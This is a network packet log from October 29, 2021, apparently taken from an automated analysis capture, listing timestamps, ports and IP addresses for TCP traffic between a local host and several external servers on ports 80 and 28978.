Oct 29, 2021 14:11:02.477586985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477603912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477623940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477660894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477673054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477696896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477735043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477749109 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477771997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477811098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477828026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477852106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477889061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477901936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477926970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477965117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477984905 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477996111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.478002071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.478048086 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.542728901 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:02.545212030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545268059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545308113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545346975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545386076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545382023 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545417070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545425892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545464039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545502901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545541048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545548916 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545562029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545578957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545618057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545653105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545656919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545696974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545727015 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545736074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545773029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545790911 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545810938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545852900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545860052 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545890093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545928001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.545943975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.545965910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546005011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546019077 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546045065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546081066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546096087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546118975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546158075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546169996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546194077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546231985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546247959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546271086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546309948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546318054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546350002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546386957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546397924 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546425104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546463966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546472073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546500921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546540022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546555042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546578884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546617985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546626091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546658039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546694040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546703100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546732903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546771049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546777964 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546807051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546848059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546853065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546894073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546942949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.546947956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.546993971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.547030926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.547044039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.547070026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.547121048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.559818029 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.583611012 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.583652973 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.583677053 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.583724022 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.583791971 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.583834887 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.607362032 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.607403994 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.607470989 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.607495070 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.607521057 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.607563019 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.607650995 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.607744932 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.608122110 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.608190060 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.608232021 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.608263969 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.614252090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614305019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614346027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614368916 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614386082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614423037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614439964 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614461899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614501953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614515066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614540100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614578009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614587069 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614617109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614658117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614677906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614716053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614752054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614790916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614794970 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614830017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614857912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614871025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614911079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614923954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.614950895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.614986897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615004063 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615025043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615062952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615098000 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615102053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615140915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615155935 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615180016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615219116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615257025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615278006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615294933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615309000 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615333080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615370989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615387917 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615408897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615449905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615463018 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615487099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615525961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615534067 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615564108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615600109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615614891 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615657091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615696907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615705013 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.615732908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615767002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.615782022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.631036043 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631078959 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631107092 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631143093 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631160975 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631170034 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631185055 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631236076 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631376982 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631438971 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631448030 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631508112 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631594896 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631660938 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.631742954 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.631970882 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.632168055 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.632431984 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.632498980 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.632514000 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.632575035 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.632724047 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.632797003 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.632983923 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.633038044 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.633132935 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.633181095 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.654715061 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.654757977 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.654787064 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.654898882 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655138016 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655251026 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655375004 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655488014 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655567884 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655627012 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655817032 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.655890942 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.656161070 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656203985 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656229019 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.656254053 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.656291008 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656323910 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656327963 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656368017 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656405926 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656444073 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656482935 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656519890 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656529903 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656543016 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656548023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656559944 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656599045 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656605959 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656634092 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.656637907 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656677008 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656683922 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656714916 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656752110 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656760931 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656780958 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.656790018 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656827927 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656841993 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656893015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656930923 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.656945944 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.656969070 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657006979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657013893 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657046080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657082081 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657099009 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657120943 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657152891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657166004 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657191038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657217026 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657253981 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657254934 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657290936 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657318115 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657341003 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657382011 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657399893 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657421112 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657458067 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657495975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657510042 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657535076 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657572031 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657594919 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657609940 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657649040 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657670975 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657687902 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657727003 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657742023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657766104 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657804012 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657814026 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657845020 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657881021 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657893896 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657908916 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.657934904 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657959938 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.657965899 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.657987118 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658010960 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658179045 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658355951 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658504009 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658649921 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.658756971 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.662487984 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662594080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662631989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662647963 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.662671089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662709951 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662717104 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.662749052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662786961 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662795067 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.662825108 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662866116 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662873030 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.662904978 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662940979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.662954092 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.662980080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663017035 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663031101 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663053989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663090944 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663096905 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663129091 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663167953 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663175106 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663208008 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663244009 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663258076 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663283110 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663321018 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663335085 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663357973 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663397074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663403034 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663434982 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663466930 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663480997 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.663506985 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663541079 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.663556099 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.670156956 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.681778908 CEST	28978	49978	93.115.20.139	192.168.2.3
